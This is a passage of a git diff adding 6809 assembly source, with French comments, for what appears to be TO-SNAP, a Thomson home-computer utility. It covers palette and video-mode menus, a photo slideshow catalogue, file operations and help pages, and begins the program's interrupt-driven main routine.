+ ORB PROUGE,S
+ TFR D,Y
+ LEAX MPAL,S
+ LDA NOPAL,S
+ LSLA
+ STY A,X
+ PSHS Y
+ LDA #ORANGE
+ LDX #0
+ JSR SETP
+
+ LDB #$48 hexa palette
+ JSR FENCH
+ LDX #BUF
+ PULS D
+ JSR BINHX2
+ LDX #BUF
+ LDB 1,X
+ JSR FENPUT
+ LDB #HT
+ JSR FENPUT
+ LDB 2,X
+ JSR FENPUT
+ LDB #HT
+ JSR FENPUT
+ LDB 3,X
+ JSR FENPUT
+
+ LEAX MPAL,S coul tour
+ LDA MTOUR,S
+ LSLA
+ LDY A,X
+ LDA #PARME
+ LDX #0
+ JSR SETP
+ LDB #$59
+ JSR FENCH
+ CLRA
+ LDB MTOUR,S
+ LDX #BUF
+ LDY #2
+ JSR BINDCD
+ JSR FENEDI
+
+ LDB #$4D mode vidéo
+ JSR FENCH
+ LDX MMODE,S
+ LEAX 2,X
+ JSR FENEDI
+
+EXECI1 JSR FENACT
+
+EXECI2 JSR FENPOP
+ TSTB
+ BEQ EXECI2 ->
+ CMPB #$54 +Tour
+ LBEQ XIPLT ->
+ CMPB #$55 -Tour
+ LBEQ XIMNT ->
+ CMPB #$50 +Palette
+ LBEQ XIPLP ->
+ CMPB #$51 -Palette
+ LBEQ XIMNP ->
+ CMPB #$42 +Bleu
+ LBEQ XIPLB ->
+ CMPB #$43 -Bleu
+ LBEQ XIMNB ->
+ CMPB #$56 +Vert
+ LBEQ XIPLV ->
+ CMPB #$57 -Vert
+ LBEQ XIMNV ->
+ CMPB #$52 +Rouge
+ LBEQ XIPLR ->
+ CMPB #$53 -Rouge
+ LBEQ XIMNR ->
+ CMPB #$4D Mode
+ LBEQ XIMOD ->
+
+ CMPB #RC
+ LBEQ XIRC ->
+ CMPB #FF RAZ
+ LBEQ XIRET ->
+ LBRA EXECI2 ->
+
+*** mode
+XIMOD EQU *
+ LDX MMODE,S
+ LEAX 17,X
+ STX MMODE,S
+ LDA ,X
+ CMPA #$FF
+ LBNE EXECI0 ->
+ LDX #TMNGR
+ STX MMODE,S
+ LBRA EXECI0 ->
+
+*** + tour
+XIPLT EQU *
+ INC MTOUR,S
+ LDA MTOUR,S
+ CMPA #16
+ LBLT EXECI0 ->
+ CLR MTOUR,S
+ LBRA EXECI0 ->
+
+*** - tour
+XIMNT EQU *
+ DEC MTOUR,S
+ LBGE EXECI0 ->
+ LDA #15
+ STA MTOUR,S
+ LBRA EXECI0 ->
+
+*** + palette
+XIPLP EQU *
+ INC NOPAL,S
+ LDA NOPAL,S
+ CMPA #16
+ LBLT EXCI00 ->
+ CLR NOPAL,S
+ LBRA EXCI00 ->
+
+*** - palette
+XIMNP EQU *
+ DEC NOPAL,S
+ LBGE EXCI00 ->
+ LDA #15
+ STA NOPAL,S
+ LBRA EXCI00 ->
+
+*** + bleu
+XIPLB EQU *
+ INC PBLEU,S
+ LDA PBLEU,S
+ CMPA #16
+ LBLT EXECI0 ->
+ CLR PBLEU,S
+ LBRA EXECI0 ->
+
+*** -bleu
+XIMNB EQU *
+ DEC PBLEU,S
+ LBGE EXECI0 ->
+ LDA #15
+ STA PBLEU,S
+ LBRA EXECI0 ->
+
+*** + vert
+XIPLV EQU *
+ INC PVERT,S
+ LDA PVERT,S
+ CMPA #16
+ LBLT EXECI0 ->
+ CLR PVERT,S
+ LBRA EXECI0 ->
+
+*** - vert
+XIMNV EQU *
+ DEC PVERT,S
+ LBGE EXECI0 ->
+ LDA #15
+ STA PVERT,S
+ LBRA EXECI0 ->
+
+*** + rouge
+XIPLR EQU *
+ INC PROUGE,S
+ LDA PROUGE,S
+ CMPA #16
+ LBLT EXECI0 ->
+ CLR PROUGE,S
+ LBRA EXECI0 ->
+
+*** - rouge
+XIMNR EQU *
+ DEC PROUGE,S
+ LBGE EXECI0 ->
+ LDA #15
+ STA PROUGE,S
+ LBRA EXECI0 ->
+
+*** validation
+XIRC EQU *
+ LDA MTOUR,S tour
+ STA TOUR
+ STA TOUPHO
+
+ LDA #16
+ LEAX MPAL,S
+ LDY #PALPHO
+ECPAI LDU ,X++
+ STU ,Y++
+ DECA
+ BNE ECPAI ->
+
+ LDA #16
+ LEAX MPAL,S
+ LDY #PALETE
+ECPAI1 LDU ,X++
+ STU ,Y++
+ DECA
+ BNE ECPAI1 ->
+
+ LDA NUMPHO
+ LDX #TABMOD
+ LDY MMODE,S
+ LDB ,Y
+ STB A,X mode "hard"
+ LDB 1,Y
+ STB MBSPHO mode "basic"
+ LDA #15
+ LDX #0
+ LDY PALDEF+30
+ JSR SETP
+
+ LDB #1
+ JSR FENFER
+ JSR SELMOD
+ JSR FENACT
+ LDB #$FF
+ LEAS 39,S
+ RTS ->>
+
+* Fin menu info video
+*---------------------------------------
+
+XIRET CLRB
+ JSR FENFER
+ LDA #ORANGE
+ LDX #0
+ LDY PALDEF+30
+ JSR SETP
+ LDA #PARME
+ LDX #0
+ LDY PALDEF+26
+ JSR SETP
+ JSR FENACT
+ CLRB
+ LEAS 39,S
+ RTS
+
+
+*=======================================
+* S/P menu déroulant gestion diaporama
+*=======================================
+
+MENCAT EQU *
+ LEAS -3,S
+PHO SET 0
+PHONEW SET 1
+CPTR SET 2
+*---------------------------------------
+
+ LDX #FFPEL
+ LDD #$0101
+ JSR FENOUV
+
+* Compteur anim.
+
+ LDD MEMTPO
+ LDY #2
+ LDX #BUF
+ JSR BINDCD
+ LDB #255
+ JSR FENCH
+ LDX #BUF
+ JSR FENEDI
+
+* Interdire et tramer les photos non
+* accessibles
+
+EXECC0 LDA MAXPHO
+ STA PHO,S
+BINVPH INC PHO,S
+ LDB PHO,S
+ CMPB #22
+ BEQ EXECC1 ->
+ ADDB #200
+ JSR FENCH
+ JSR FENTRA
+ LDB #INTERD
+ STB VAL,X
+ BRA BINVPH ->
+
+* visualiser les noms
+
+EXECC1 LDB #-1
+ STB PHO,S
+BVINM INC PHO,S
+ LDB PHO,S
+ CMPB #22
+ BEQ EXECC2 ->
+ LDX #TABPHO
+ TST B,X
+ BEQ BVINM ->
+ ADDB #200
+ JSR FENCH
+ LDX #TABNOM
+ LDB PHO,S
+ LDA #8
+ MUL
+ LEAX B,X
+ LDA #8
+BVINM1 LDB ,X+
+ JSR FENPUT
+ DECA
+ BNE BVINM1 ->
+ BRA BVINM ->
+
+EXECC2 LDA #$FF
+ STA PHO,S photo sélectioné
+ JSR FENACT
+
+EXECC3 JSR FEN
+ TSTB
+ BEQ EXECC3 ->
+ CMPB #$56 V
+ LBEQ XCVOIR ->
+ CMPB #$53 S
+ LBEQ XCSUP ->
+ CMPB #$41 A
+ LBEQ XCANIM ->
+ CMPB #$45 E
+ LBEQ XCECHA ->
+ CMPB #FF RAZ
+ LBEQ XCRET ->
+ CMPB #200
+ BCS EXECC3 ->
+ CMPB #222
+ BCC EXECC3 ->
+
+*** Sélection de l'une des photos
+*** 200..221 -> 0..21
+ SUBB #200
+ CMPB MAXPHO
+ LBGT EXECC3 ->
+ STB PHONEW,S
+ CMPB PHO,S
+ LBEQ SERD1 sup select ->
+
+ TST PHO,S
+ LBMI SERD0 ->
+
+ LDB #$45 2ème select.
+ JSR FENCH
+ LDB VAL,X
+ CMPB #OFF
+ LBEQ SERD00 ->
+ LDB #OFF mode echange
+ STB VAL,X
+ JSR FENIVD
+
+ LDX #TABPHO Echange des type
+ LDA PHO,S
+ LDB A,X
+ STB CPTR,S
+
+ LDB PHONEW,S
+ LDB B,X
+ STB A,X
+
+ LDA PHONEW,S
+ LDB CPTR,S
+ STB A,X
+
+ LDX #TABMOD Echange des mode
+ LDA PHO,S
+ LDB A,X
+ STB CPTR,S
+
+ LDB PHONEW,S
+ LDB B,X
+ STB A,X
+
+ LDA PHONEW,S
+ LDB CPTR,S
+ STB A,X
+
+ LDX #TABBK Echange des bank
+ LDA PHO,S
+ LDB A,X
+ STB CPTR,S
+
+ LDB PHONEW,S
+ LDB B,X
+ STB A,X
+
+ LDA PHONEW,S
+ LDB CPTR,S
+ STB A,X
+
+ LDX #TABNOM Echange des noms
+ LDA PHO,S
+ LDB #8
+ MUL
+ LEAX B,X
+ LDY #TABNOM
+ LDA PHONEW,S
+ LDB #8
+ MUL
+ LEAY B,Y
+
+ LDU #8
+XGNM LDA ,X
+ LDB ,Y
+ STA ,Y+
+ STB ,X+
+ LEAU -1,U
+ CMPU #0
+ BNE XGNM ->
+
+ LDA PHO,S cas d'une des
+ LDB PHONEW,S
+* CMPA PHOTIR
+ BEQ EXGVI0 ->
+ EXG A,B
+* CMPA PHOTIR
+ BEQ EXGVI0 ->
+ BRA EXGVID ->
+EXGVI0 EQU *
+*XGVI0 STB PHOTIR
+
+EXGVID JSR FENDES
+ LDB PHO,S restaure vidéo
+ ADDB #200 des 2 photos
+ JSR FENCH
+ JSR FENIVD
+ LDB PHO,S
+ LDA #8
+ MUL
+ LDX #TABNOM
+ LEAX B,X
+ LDA #8
+EXGV0 LDB ,X+
+ JSR FENPUT
+ DECA
+ BNE EXGV0 ->
+
+ LDB PHONEW,S
+ ADDB #200
+ JSR FENCH
+ JSR FENIVD
+ LDB PHONEW,S
+ LDA #8
+ MUL
+ LDX #TABNOM
+ LEAX B,X
+ LDA #8
+EXGV1 LDB ,X+
+ JSR FENPUT
+ DECA
+ BNE EXGV1 ->
+
+ JSR FENCNT
+
+ LDA #$FF
+ STA PHO,S
+ LBRA EXECC3 ->
+
+SERD00 JSR FENDES raz autre sélect
+ LDB PHO,S
+ ADDB #200
+ JSR FENCH
+ JSR FENIVD
+ JSR FENCNT
+SERD0 LDB PHONEW,S
+ STB PHO,S
+ LBRA EXECC3 ->
+
+SERD1 JSR FENDES
+ LDA #$FF
+ STA PHO,S
+ LDB #$45
+ JSR FENCH
+ LDA VAL,X
+ CMPA #ON
+ BEQ SERD10 ->
+ JSR FENCNT
+ LBRA EXECC3 ->
+SERD10 LDB #OFF invalide mode
+ STB VAL,X échange
+ JSR FENIVD
+ LBRA EXECC1 ->
+
+*** Voir la photo sélectionnée
+XCVOIR EQU *
+ LDB PHO,S
+ LBMI EXECC3 ->
+ STB NUMPHO
+
+ LDB #2 retour niveau 1
+ JSR FENFER
+
+ JSR SELMOD
+
+ JSR DECPHO
+
+ JSR FENACT
+ LEAS 3,S
+ LDB #$FF
+ RTS ->>
+
+*** positionnement flag "echange"
+XCECHA EQU *
+ LDB PHO,S
+ LBPL EXECC3 ->
+
+ LDB #$45
+ JSR FENCH
+ LDA VAL,X
+ CMPA #OFF
+ LBEQ EXECC3 ->
+ JSR FENDES interdit si pas
+ LDB #$45 de sélection
+ JSR FENCH
+ LDB #OFF
+ STB VAL,X
+ JSR FENIVD
+ JSR FENCNT
+ LBRA EXECC3 ->
+
+*** Supprimer la photo sélectionnée
+XCSUP EQU *
+ LDA PHO,S
+ LBMI EXECC3 ->
+
+ JSR DELPHO
+ EXG A,B
+ ADDB #200
+ JSR FENCH
+ JSR FENFON
+ LBRA EXECC1 ->
+
+*** Animer la pellicule
+XCANIM EQU *
+ LDX #TABPHO verif pas tout
+ CLRA vierge
+ CLR CPTR,S
+BVERIR TST A,X
+ BEQ SVERIR ->
+ INC CPTR,S
+SVERIR INCA
+ CMPA MAXPHO
+ BLE BVERIR ->
+ LDA CPTR,S
+ CMPA #1
+ LBLE EXECC3 ->
+
+ LDB #255
+ LDX #BUF
+ JSR FENLCZ
+ LDD #0
+ LDY #100
+ JSR DECBIN
+ STD MEMTPO
+ STB CPTR,S memo
+
+ LDB #2 retour niveau 1
+ JSR FENFER
+
+ LDA NUMPHO
+ STA PHO,S
+ LBRA XXBAN1 ->
+BANIM JSR GETC test interrup.
+ TSTB
+ BNE BANSTO ->
+ JSR LPIN
+ BCC XBANIM ->
+BANSTO JSR FORCV0 page vid 0
+ JSR SELDEF mode vidéo def.
+ LDA #DBKPIL
+ STA BANKC
+ LDX #$A000 conf. interrup.
+ LDD #$0D11
+ JSR TBREAK
+ LBCS FBANIM ->
+ LDX #500
+
+XBANIM TST MEMTPO+1
+ BEQ XXBAN1 ->
+ LEAX -1,X
+ BNE BANIM ->
+ LDX #500
+ DEC CPTR,S
+ BNE BANIM ->
+ LDA MEMTPO+1
+ STA CPTR,S compteur en sec
+
+XXBAN1 LDX #TABPHO
+ LDA NUMPHO
+XXBANI TST A,X
+ BNE XXXBAN ->
+ INCA
+ CMPA MAXPHO
+ BLE XXBANI ->
+ CLRA
+ BRA XXBANI ->
+
+XXXBAN STA NUMPHO
+ STA PHO,S pour abandon
+ JSR DCCPHO
+
+ LDX #666
+
+ INC NUMPHO
+ LDA NUMPHO
+ CMPA MAXPHO
+ LBLE BANIM ->
+ CLR NUMPHO
+ LBRA BANIM ->
+
+FBANIM LDA PHO,S
+ STA NUMPHO
+ JSR SELMOD
+ JSR FENACT
+ LEAS 3,S
+ LDB #$FF
+ RTS ->>
+
+* Fin menu catalogue
+*---------------------------------------
+
+XCRET LDB #2 retour niveau 1
+ JSR FENFER car photo peut
+ JSR SELMOD etre supprimée
+ JSR DECPHO ou echangée
+ JSR FENACT
+ LDB #$FF
+ LEAS 3,S
+ RTS
+
+
+*=======================================
+* S/P menu déroulant de gestion fichier
+*=======================================
+
+MENFIC EQU *
+ LEAS -2,S
+MANO SET 0
+*---------------------------------------
+
+ LDX #FENFIC
+ LDD 3,X
+ JSR POPUP
+ JSR FENOUV
+
+EXECF0 LDB #ESC
+ JSR PUTC
+ LDB #$4D
+ JSR PUTC
+ LDB #BLANC
+ JSR FENCF
+ LDD #$0211 Disque courant
+ LDY #$0201
+ JSR FENLOF
+ LDB DKDRV
+ ADDB #$30
+ JSR PUTC
+ LDB #TRANSP
+ JSR FENCF
+ LDB #ESC
+ JSR PUTC
+ LDB #$4C
+ JSR PUTC
+
+EXECF1 JSR FENACT
+
+
+EXECF2 JSR FENPOP
+ TSTB
+ BEQ EXECF2 ->
+ CMPB #$50 P
+ LBEQ XFUNIT ->
+ CMPB #$49 I
+ LBEQ XFINIT ->
+ CMPB #$43 C
+ LBEQ XFCATA ->
+ CMPB #$52 R
+ LBEQ XFRENO ->
+ CMPB #$53 S
+ LBEQ XFSUPR ->
+ CMPB #$44 D
+ LBEQ XFDUPL ->
+ CMPB #$4C L
+ LBEQ XFLIRE ->
+ CMPB #$45 E
+ LBEQ XFECRI ->
+ CMPB #FF RAZ
+ LBEQ XFRET ->
+ LBRA EXECF2 ->
+
+*** Préciser unité
+XFUNIT EQU *
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+ LDX #FENVID sélection
+ LDA #11
+ LDB #24
+ LBSR POPUP
+ JSR FENOUV
+ LDA BKMANO manoeuvre
+ STA BANKC
+ LDX #ZONTRA
+ LDY #LGZTRA
+ LDU #$FFFF
+ LBSR DOSSEL
+ CLRB
+ LBSR FENFER
+ LDB #$50 Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECF0 ->
+
+*** Initialiser
+XFINIT EQU *
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+ LDX #FENVID sélection
+ LDA #15
+ LDB #24
+ LBSR POPUP
+ JSR FENOUV
+ LDA BKMANO manoeuvre
+ STA BANKC
+ LDX #ZONTRA
+ LDY #LGZTRA
+ LBSR DOSINI
+ CLRB
+ LBSR FENFER
+ LDB #$49 Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECF1 ->
+
+*** Catalogue
+XFCATA EQU *
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+ LDX #FENVID sélection
+ LDD #$0200
+ LBSR FENOUV
+ LDA BKMANO manoeuvre
+ STA BANKC
+ LDX #ZONTRA
+ LDY #LGZTRA
+ LBSR DOSCAT
+ CLRB
+ LBSR FENFER
+ LDB #$43 Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECF1 ->
+
+*** Renommer fichier
+XFRENO EQU *
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+ LDX #FENVID sélection
+ LDD #$0500
+ LBSR FENOUV
+ LDA BKMANO manoeuvre
+ STA BANKC
+ LDX #ZONTRA
+ LDY #LGZTRA
+ LBSR DOSREN
+ CLRB
+ LBSR FENFER
+ LDB #$52 Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECF1 ->
+
+*** Supprimer fichier
+XFSUPR EQU *
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+ LDX #FENVID sélection
+ LDD #$0500
+ LBSR FENOUV
+ LDA BKMANO manoeuvre
+ STA BANKC
+ LDX #ZONTRA
+ LDY #LGZTRA
+ LBSR DOSSUP
+ CLRB
+ LBSR FENFER
+ LDB #$53 Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECF1 ->
+
+*** Dupliquer fichier
+XFDUPL EQU *
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+ LDX #FENVID Sélection
+ LDD #$0500
+ LBSR FENOUV
+ LDA BKMANO manoeuvre
+ STA BANKC
+ LDX #ZONTRA
+ LDY #LGZTRA
+ LBSR DOSDUP
+ CLRB
+ LBSR FENFER
+ LDB #$44 Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECF1 ->
+
+*** Lire fichier
+XFLIRE EQU *
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+
+ LDB #$10
+ JSR FENCH
+ LDB VAL,X
+ CMPB #ON
+ LBEQ XFLALB ->
+
+* lecture unitaire
+
+ LDX #FILNAM filtre .MAP
+XLIRZ CLR ,X+
+ CMPX #FILNAM+8
+ BNE XLIRZ ->
+ LDD #$4D41
+ STD ,X++
+ LDA #$50
+ STA ,X+
+ LDX #FENVID sélection
+ LDD #$0500
+ LBSR FENOUV
+ LDA BKMANO manoeuvre
+ STA BANKC
+ LDX #ZONTRA
+ LDY #LGZTRA
+ LDU #MLIRE
+ LBSR DOSFIL
+ LBEQ XLIRZ9 RAZ ->
+ LBCS XLIRZ9 erreur ->
+
+ LDX #FILNAM fich cour.
+ LDY #DESCOU
+BMEMFC LDA ,X+
+ STA ,Y+
+ CMPX #FILNAM+8
+ BNE BMEMFC ->
+
+ LDA NUMPHO
+ STA OLDPHO
+ JSR PHOCH recherche disp.
+ LBCS XLIRZ9 pas ->
+ CLRA
+ JSR LECPHO lecture photo
+ LBCS XLIRZF ->
+
+* Nb: un FENFER de 2 niveau est executé
+* dans LECPHO !!!
+
+CPNOF JSR SELMOD
+ JSR FENACT
+ LEAS 2,S
+ LDB #$FF
+ RTS ->>
+
+* lecture générique
+
+XFLALB LDX #FILNAM filtre 00.MAP
+XLIRZG CLR ,X+
+ CMPX #FILNAM+6
+ BNE XLIRZG ->
+ LDD #$3030
+ STD ,X++
+ LDD #$4D41
+ STD ,X++
+ LDA #$50
+ STA ,X+
+ LDX #FENVID sélection
+ LDD #$0500
+ LBSR FENOUV
+ LDA BKMANO manoeuvre
+ STA BANKC
+ LDX #ZONTRA
+ LDY #LGZTRA
+ LDU #MLIRE
+ LBSR DOSFIL
+ LBEQ XLIRZ9 RAZ ->
+ LBCS XLIRZ9 erreur ->
+
+ LDX #FILNAM fich cour.
+ LDY #DESALB
+BMEMFG LDA ,X+
+ STA ,Y+
+ CMPX #FILNAM+8
+ BNE BMEMFG ->
+
+ CLR NUMALB
+
+ LDA NUMPHO 1ere
+ STA OLDPHO
+ JSR PHOCH recherche disp.
+ LBCS XLIRZ9 Pas ->
+ CLRA 1ére existe !
+ JSR LECPHO lecture photo
+ LBCS XLIRZF ->
+ BRA CPNO3 ->
+
+CPNO2 LDA NUMPHO
+ STA OLDPHO
+ JSR PHOCH pas 1ere
+ BCC CPNO2B ->
+ LDA OLDPHO
+ STA NUMPHO
+ LBRA CPNOF ->
+CPNO2B LDA #$FF suivante facult
+ JSR LECPHO
+ BCC CPNO3 ->
+ LDA OLDPHO
+ STA NUMPHO
+ LBRA CPNOF ->
+
+CPNO3 JSR GETC test interrup.
+ TSTB
+ BNE CPNOTB ->
+ JSR LPIN
+ BCC CPNOCN ->
+CPNOTB JSR SELDEF mode vidéo def.
+ LDA #DBKPIL
+ STA BANKC
+ LDX #$A000 conf. interrup.
+ LDD #$0D11
+ JSR TBREAK
+ PSHS CC
+* LDA OLDPHO
+* STA NUMPHO
+ JSR SELMOD
+ PULS CC
+ LBCS CPNOF ->
+
+CPNOCN INC NUMALB
+ CLRA composition nom
+ LDB NUMALB fichier suivant
+ LDX #FILNAM+6
+ LDY #2
+ JSR BINDCD
+ LDA FILNAM+6
+ CMPA #$20
+ LBNE CPNO2 ->
+ LDA #$30
+ STA FILNAM+6
+ LBRA CPNO2 ->
+
+XLIRZF LDA OLDPHO
+ STA NUMPHO
+XLIRZ9 CLRB
+ LBSR FENFER
+ LDB #$4C Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECF1 ->
+
+*** Ecrire fichier
+XFECRI EQU *
+ JSR FENCH
+ JSR FENIVD
+
+ LDB #$10
+ JSR FENCH
+ LDB VAL,X
+ CMPB #ON
+ LBNE XFECR1 ->
+
+* écriture générique
+
+ CLR NUMALB
+ LDX #TABPHO verif pas tout
+ CLRA vierge
+BVERIE LDB A,X
+ BNE ECAL11 ->
+ INCA
+ CMPA MAXPHO
+ BLE BVERIE ->
+ LDX #MPELVI
+ JSR FENERR
+ LBRA XFECRF ->
+
+ECAL11 STA PRMPHO
+ LDX #FENVID Sélection
+ LDD #$0505
+ LBSR FENOUV
+
+ECAL13 LDY #FILNAM nom défaut
+ LDX #DESALB
+ LDA #6
+ECAL19 LDB ,X+
+ STB ,Y+
+ DECA
+ BNE ECAL19 ->
+ LDD #$2323
+ STD ,Y++
+ LDD #$4D41
+ STD ,Y++
+ LDA #$50
+ STA ,Y+
+
+ LDX #MCOMAL
+ LDA #8
+ECAL10 LDB ,X+
+ STB ,Y+
+ DECA
+ BNE ECAL10 ->
+
+ LDA BKMANO saisir nom
+ STA BANKC
+ LDX #ZONTRA
+ LDY #LGZTRA
+ LDU #MVPEL
+ LBSR DOSCZI
+ LBEQ XFCRFF RAZ ->
+ LBCS XFCRFF erreur ->
+
+ LDD FILNAM+6 vérifier numéro
+ CMPD #$2323 libre
+ BEQ ECAL12 ->
+ LDX #MNUMP
+ JSR FENERR
+ LDD #0
+ JSR FENLOF
+ BRA ECAL13 ->
+
+ECAL12 LDD #$3030
+ STD FILNAM+6 1er fichier
+ LDD #$0309 vérifier non
+ LBSR FENLOF existence (1er!)
+ JSR DOSTST
+ LBCS XFCRFF existe ->
+
+ LDB #2
+ JSR FENFER
+
+ LDA NUMPHO
+ STA OLDPHO
+ LDA PRMPHO
+ STA NUMPHO
+
+ECAL14 JSR GETC test interrup.
+ TSTB
+ BNE ECALTB ->
+ JSR LPIN
+ BCC ECALCN ->
+ECALTB JSR SELDEF mode vidéo def.
+ LDA #DBKPIL
+ STA BANKC
+ LDX #$A000 conf. interrup.
+ LDD #$0D11
+ JSR TBREAK
+ LBCS ECAL2S ->
+
+ECALCN JSR DECPHO
+
+ JSR ECRPHO
+ LBCS ECAL3S erreur ->
+
+ LDX #TABPHO
+ LDA NUMPHO
+ STA OLDPHO
+ECAL15 INCA
+ STA NUMPHO
+ CMPA MAXPHO
+ BGT ECAL2S ->
+ TST A,X
+ BEQ ECAL15 ->
+ LDX #FILNAM+6 nouveau nom
+ INC NUMALB
+ CLRA
+ LDB NUMALB
+ LDY #2
+ JSR BINDCD
+ LDA #$4D
+ STA FILNAM+8 (0 de fin!)
+ LDA FILNAM+6
+ CMPA #$20
+ BNE ECAL14 ->
+ LDA #$30
+ STA FILNAM+6
+ BRA ECAL14 ->
+
+ECAL2S LDA OLDPHO arret
+ STA NUMPHO
+ LDX #FILNAM+6 nouveau nom
+ INC NUMALB pour purge suiv.
+ CLRA
+ LDB NUMALB
+ LDY #2
+ JSR BINDCD
+ LDA #$4D
+ STA FILNAM+8
+ LDA FILNAM+6
+ CMPA #$20
+ BNE ECA22S ->
+ LDA #$30
+ STA FILNAM+6
+ECA22S LDB #KILL
+ JSR EXTRA
+ TSTB
+ BEQ ECAL2S ->
+ECAL3S JSR SELMOD
+ JSR FENACT
+ LEAS 2,S
+ LDB #$FF
+ RTS ->>
+
+* écriture unitaire
+
+XFECR1 LDA NUMPHO
+ LDX #TABPHO
+ TST A,X
+ BNE ECPH0 ->
+ LDX #MPASPH pas de photo
+ JSR FENERR courante !
+ LBRA XFECRF ->
+
+ECPH0 LDX #FENVID Sélection
+ LDD #$0505
+ LBSR FENOUV
+
+ LDY #FILNAM nom défaut
+ LDX #DESCOU
+ LDA #8
+ECAL0 LDB ,X+
+ STB ,Y+
+ DECA
+ BNE ECAL0 ->
+ LDD #$4D41
+ STD ,Y++
+ LDA #$50
+ STA ,Y+
+
+ LDX #MCOMAL
+ LDA #8
+ECAL00 LDB ,X+
+ STB ,Y+
+ DECA
+ BNE ECAL00 ->
+
+ LDA BKMANO
+ STA BANKC
+ LDX #ZONTRA
+ LDY #LGZTRA
+ LDU #MVFICH
+ LBSR DOSCZI
+ LBEQ XFCRFF RAZ ->
+ LBCS XFCRFF erreur ->
+
+ LDD #$0309 vérifier non
+ LBSR FENLOF existence
+ JSR DOSTST
+ LBCS XFCRFF existe ->
+
+ LDB #2
+ JSR FENFER
+
+ JSR SELMOD
+
+ JSR ECRPHO
+
+ JSR FENACT
+ LEAS 2,S
+ LDB #$FF
+ RTS ->>
+
+XFCRFF CLRB
+ JSR FENFER
+
+XFECRF LDB #$45
+ JSR FENCH
+ JSR FENIVD
+ LBRA EXECF1 ->
+
+* Fin menu fichier
+*---------------------------------------
+
+XFRET CLRB
+ JSR FENFER
+ JSR FENACT
+ CLRB
+ LEAS 2,S
+ RTS
+
+*=======================================
+* S/P mode d'emploi
+*=======================================
+
+ FDB 0
+TABHLP FDB HLP1
+ FDB HLP2
+ FDB HLP3
+ FDB HLP4
+ FDB HLP5
+ FDB HLP6
+ FDB HLP7
+ FDB 0
+
+EMPPHO EQU *
+ LEAS -2,S
+PTHLP SET 0
+*---------------------------------------
+
+ LDX #FENHLP
+ LDD #$0000
+ JSR FENOUV
+
+ LDD #TABHLP
+ STD PTHLP,S
+
+EXECM0 LDD #$0301
+ LDY #$1326
+ JSR FENLOF
+ JSR FENFON
+
+ LDD #$0100
+ LDY #$1226
+ JSR FENLOR
+ LDX [PTHLP,S]
+ JSR FENTXT
+
+ LDX [PTHLP,S]
+ CMPX #HLP5
+ BNE EXECM1 ->
+ LDX #MIGDIN
+ LDY #BUF
+BCOPMG LDA ,X+
+ STA ,Y+
+ CMPX #FMIGDI
+ BNE BCOPMG ->
+
+ LDX #BUF
+ LDB #MIG
+ JSR EXTRA
+
+EXECM1 JSR FENACT
+
+EXECM2 JSR FEN
+ CMPB #FF
+ LBEQ XMRET ->
+ CMPB #RC
+ LBEQ XMRET ->
+ CMPB #LF
+ LBEQ HLPSUI ->
+ CMPB #VT
+ LBEQ HLPPRE ->
+ BRA EXECM2 ->
+
+*** passage à la page help suivante
+HLPSUI EQU *
+ LDX PTHLP,S
+ LEAX 2,X
+ LDD ,X
+ CMPD #0
+ BEQ PBSHLP ->
+ STX PTHLP,S
+ JSR FENDES
+ LBRA EXECM0 ->
+PBSHLP LDB #7
+ JSR FENPUT
+ LBRA EXECM2
+
+*** passage à la page help précédente
+HLPPRE EQU *
+ LDX PTHLP,S
+ LEAX -2,X
+ LDD ,X
+ CMPD #0
+ BEQ PBPHLP ->
+ STX PTHLP,S
+ JSR FENDES
+ LBRA EXECM0 ->
+PBPHLP LDB #7
+ JSR FENPUT
+ LBRA EXECM2 ->
+
+* Fin menu mode d'emploi
+*---------------------------------------
+
+XMRET CLRB
+ JSR FENFER
+ JSR FENACT
+ CLRB
+ LEAS 2,S
+ RTS
diff --git a/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-PR.ASM b/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-PR.ASM
new file mode 100755
index 0000000..7d9b5a9
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-PR.ASM
@@ -0,0 +1,712 @@
+ TITLE TO-SNAP: Programme princ.
+* ---------------------------------
+ PAGE
+
+****************************************
+* *
+* TO-SNAP *
+* *
+* Programme principal *
+* *
+****************************************
+
+* Appel par tache sous IT !!!
+*---------------------------------------
+
+XSNAP EQU *
+ ORCC #$50
+
+ LDA >$E7CB RAZ IT éventuell
+ ORA #$40
+ STA >$E7CB
+ LDA <$E7C9
+ LDA >$E7CB 6821 pour /FIRQ
+ ANDA #$FC par prise crayon
+ STA >$E7CB
+
+ LDA #$54 bk ram par $E7E5
+ STA $6081
+ STA >$E7E7
+
+ LDD FIRQMM reset vecteurs
+ STD FIRQPT
+ LDD TIMEMM
+ STD TIMEPT
+ LDD IRQMM
+ STD IRQPT
+ LDD SWIMM
+ STD SWIPT
+ LDD PTGEMM
+ STD PTGENE
+ LDA RESEMM
+ STA RESETP
+ LDD RESEMM+1
+ STD RESETP+1
+ LDA SIZCMM
+ STA SIZCLV
+ LDD USERMM
+ STD USERAF
+ LDD BUFCMM
+ STD BUFCLV
+
+ LDX #VECTMM
+ LDY #$6000
+ LDB #22
+BRSVE LDA ,X+
+ STA ,Y+
+ DECB
+ BNE BRSVE ->
+
+ LDA STATUS
+ ANDA #$DF
+ STA STATUS
+
+ CLR $E7E4 si page vidéo
+ LDA $E7E4 non 0 la
+ ANDA #$C0 recopier en 0
+ BEQ OKPAG0 ->
+ LSRA
+ LSRA
+ LSRA
+ LSRA
+ LSRA
+ LSRA
+ CLRB
+ LDX #$A000
+OKPAG1 STA BANKC
+ LDU ,X
+ STB BANKC
+ STU ,X++
+ CMPX #$A000+8000
+ BNE OKPAG1 ->
+
+ LDX #$C000
